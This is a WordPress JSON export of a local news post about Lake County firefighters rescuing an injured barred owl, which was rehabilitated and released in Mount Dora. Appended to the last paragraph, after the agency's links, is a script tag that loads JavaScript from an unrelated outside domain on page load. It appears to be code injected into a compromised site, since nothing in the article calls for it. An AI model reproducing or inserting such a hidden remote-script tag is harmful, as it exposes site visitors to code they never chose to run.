{"id":211610,"date":"2017-01-24T14:18:42","date_gmt":"2017-01-24T19:18:42","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211610"},"modified":"2017-11-04T15:01:56","modified_gmt":"2017-11-04T19:01:56","slug":"lake-county-firefighters-rescue-help-release-injured-owl","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/lake-county-firefighters-rescue-help-release-injured-owl\/","title":{"rendered":"Lake County firefighters rescue, help release injured owl"},"content":{"rendered":"<p><strong>MOUNT DORA<\/strong>\u2014 When Lake County Fire Rescue Lt. Robert Staab and Firefighter Brian Tindell rescued a barred owl they named \u201cLucky\u201d from the grill of resident Laura McQuilkin\u2019s Dodge pickup truck in December, they never thought they would see him fly again.<\/p>\n<p>\u201cWe expected more of a body removal than a rescue. We got there, took a flashlight and looked at the front of the truck and there he was looking back at us,\u201d said Lt. Staab.<\/p>\n<p>After consulting with wildlife experts, the firefighters wrapped the owl in a jacket, took him back to the station, placed him in a dog kennel and transported Lucky to the Avian Rehabilitation Center in Apopka.<\/p>\n<p>Though it took nearly a month, Lucky was nursed back to health and soon healed from a fractured tibia. And <span data-term=\"goog_1495555995\">on Saturday<\/span>, McQuilkin joined the firefighters and Lucky\u2019s rehabilitation team in releasing the owl at Gilbert Park in Mount Dora.<\/p>\n<p>Moved to tears, McQuilkin said,\u201d I&#8217;m excited beyond words. He&#8217;s just such a beautiful owl. I&#8217;m so happy he&#8217;s ok.\u201d<\/p>\n<p>Firefighter Tindell was also thrilled to be an integral part of the owl\u2019s rescue through rehab.<\/p>\n<p>\u201cIt was a unique experience. I won\u2019t forget it,\u201d he said.<\/p>\n<p>The career firefighters of Lake County Fire Rescue protect county residents and visitors in an area covering approximately 1,200 square miles, with nearly 70,000 residences and up to 2,000 commercial properties.<\/p>\n<p>For up-to-date news on Lake County Fire Rescue, visit <a href=\"http:\/\/www.lakecountyfl.gov\/firerescue\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.lakecountyfl.gov\/firerescue&amp;source=gmail&amp;ust=1485355645326000&amp;usg=AFQjCNFw8izzCTgV5COBOIuRcr2GdwyxUw\">www.lakecountyfl.gov\/firerescue<\/a>,<a href=\"http:\/\/www.facebook.com\/LakeCountyFireRescue\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.facebook.com\/LakeCountyFireRescue&amp;source=gmail&amp;ust=1485355645326000&amp;usg=AFQjCNE_jjQnpydY5ifpcHxj0-DKl8ZW2A\">www.facebook.com\/LakeCountyFireRescue<\/a>, or <a href=\"http:\/\/www.twitter.com\/lakefirePIO\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.twitter.com\/lakefirePIO&amp;source=gmail&amp;ust=1485355645326000&amp;usg=AFQjCNHnfyn_YseEhZhUhH6tStdJ8xV9Rw\">www.twitter.com\/lakefirePIO<\/a>.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>MOUNT DORA\u2014 When Lake County Fire Rescue Lt. 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